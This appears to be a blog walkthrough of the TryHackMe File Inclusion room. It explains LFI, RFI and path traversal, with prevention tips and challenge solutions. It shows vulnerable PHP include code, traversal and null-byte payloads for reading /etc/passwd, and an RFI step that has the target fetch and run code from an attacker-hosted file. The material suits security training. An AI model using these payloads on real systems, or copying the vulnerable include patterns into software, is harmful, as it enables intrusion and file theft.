File Inclusion TryHackMe

Understanding File Inclusion Vulnerabilities

File Inclusion is a common web application vulnerability that occurs when an application dynamically loads files based on user input without proper validation. This flaw can lead to Local File Inclusion (LFI), Remote File Inclusion (RFI), and Directory Traversal attacks, allowing attackers to read sensitive files, disclose system information, or even execute malicious code.

In this article, we’ll cover:

  • How file inclusion vulnerabilities work

  • Types: LFI, RFI, and Directory Traversal

  • Real-world exploitation examples

  • Risks and impacts

  • Prevention techniques


How File Inclusion Works

Some web applications allow users to request and display files from the server, such as images, documents, or language templates through the URL parameters.

Example URL with a parameter:

http://webapp.thm/get.php?file=userCV.pdf

Here:

  • file -> parameter name

  • userCV.pdf -> file requested

If user input is not validated, an attacker can modify the parameter to access other files, potentially outside the intended directory.


Why File Inclusion Vulnerabilities Happen

The root cause is poor input validation.

Common issues include:

  • Directly passing user-controlled input to file-handling functions.

  • Not sanitizing parameters.

  • Over-reliance on functions without filtering paths or file types.

Languages like PHP are particularly prone when functions such as include(), require(), file_get_contents() are misused.


Risks of File Inclusion

An attacker may:

  • Leak sensitive data (e.g., source code, credentials, system files).

  • Gain Remote Code Execution (RCE) if they can upload malicious files and include them.

  • Chain with other vulnerabilities (e.g., upload + LFI → RCE).

  • Disclose internal system paths and configuration.


Directory Traversal (Path Traversal)

Directory Traversal lets attackers read files outside the web root by manipulating paths using special sequences like ../ to move up directories.

Example (Linux target):

http://webapp.thm/get.php?file=../../../../etc/passwd

Example (Windows target):

http://webapp.thm/get.php?file=../../../../boot.ini

or

http://webapp.thm/get.php?file=../../../../windows/win.ini

If no validation is in place, the application may serve files from outside its intended directory.


Local File Inclusion (LFI) Examples

LFI occurs when a local file is included into a script via user-controlled input.

Example 1) Simple LFI

<?php 
include($_GET["lang"]);
?>

Request:

http://webapp.thm/index.php?lang=EN.php

If there’s no validation, we could read /etc/passwd:

http://webapp.thm/index.php?lang=/etc/passwd

Example 2) LFI with Specified Directory

<?php 
include("languages/". $_GET['lang']); 
?>

Even though the developer specifies a directory, traversal still works:

http://webapp.thm/index.php?lang=../../../../etc/passwd

Example 3) Black Box Testing with .php Extension

If the app appends .php automatically:

Warning: include(languages/THM.php)...

You can bypass using Null Byte injection:

http://webapp.thm/index.php?lang=../../../../../etc/passwd%00

This tricks the application into ignoring .php.

(Note: Null Byte is patched in PHP 5.3.4+.)


Example 4) Keyword Filtering Bypass

If /etc/passwd is blocked, you can use:

  • Null Byte: /etc/passwd%00

  • Current directory trick: /etc/passwd/.


Example 5) Filter Replacing ../

If the application removes ../, you can double-encode:

....//....//....//etc/passwd

Example 6) Forced Directory Inclusion

If the app requires a certain directory in the input:

?lang=languages/../../../../../etc/passwd

Remote File Inclusion (RFI)

RFI allows attackers to include files from external servers.
Requires allow_url_fopen to be enabled in PHP.

Example:

Attacker hosts cmd.txt:

<?php echo "Hello THM"; ?>

Injecting into the vulnerable app:

http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt

The app fetches and executes the remote file, potentially allowing full RCE.


How to Prevent File Inclusion Vulnerabilities

  • Keep software updated: frameworks, languages, and libraries.

  • Disable risky PHP settings if not required:

    • allow_url_fopen

    • allow_url_include

  • Turn off PHP error display in production to avoid information leaks.

  • Validate all user inputs: whitelist allowed file names and paths.

  • Avoid dynamic file inclusion entirely if possible.

  • Use a Web Application Firewall (WAF) to block common attack patterns.

  • Allow only required protocols/wrappers in the application.


Challenges

In THM, there are several challenges that are worrth your time and effort in tbhe end of the room. These challenges will test you on your File Inclusion techniques, which will cover 

These are the clues given:

1) Find an entry point that could be via GET, POST, COOKIE, or HTTP header values

2) Enter a valid input to see how the web server behaves.

3) Enter invalid inputs, including special characters and common file names.

4) Don't always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite.

5) Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option.

6) Understand the input validation and if there are any filters!

7) Try the inject a valid entry to read sensitive files


Challenge 1: Capture flag at /etc/flag1



- First and foremost, we need to inspect the page, mainly because we want to inspect the form as the clue here is "the form is broken" and need to send 'POST"

- Here we can see that the form use "GET" method and we need to change that to "POST"




- Double click on the line, remove the GET and replace it with POST -> close the page inspector -> fill in the form with /etc/flag1 -> refresh the page. 

- Then, you can see the flag for the first challenge. 





Challenge 2: Capture flag at /etc/flag2

- first, you need to refresh the page first


- then, inspect the page -> change the value "guest" to "admin" to gain permission as an admin -> refresh the page.







- Then inspect again the page to change the value "admin" to ../../../../../etc/flag2 -> refresh the page


- You will see the flag. 



Challenge 3: Capture flag at /etc/flag3

- Open the terminal -> curl -X POST *insert the url of the page without the http://* -d 'method=POST&file=../../../../etc/flag3%00' --output -


- Then you can see the flag.



Challenge 4: Gain RCE in Lab #Playgrounf with RFI to execute hsotname command, what is the output?

- start web server

- open text editor -> <?php print exec('hostname'); ?> -> save it on the root with any name you want, here I use the name of cmd.txt




- On the page,

*page URL including the http://* ?file=http:// *IP on the terminal:Port on the terminal* / *file name that you save earlier*



Final Thoughts

File inclusion vulnerabilities can lead to a lot of unwanted impacts, including full server compromise. Whether you’re a developer or security tester, understanding how they work, how to exploit them, and how to prevent them is critical for building and securing web applications.

Comments

Popular posts from this blog

Data Exfiltrtation Detection (DNS, FTP, HTTP, ICMP)

Firewall, WAF, and VPN manual log Analysis using command line.

Reversing ELF TryHackMe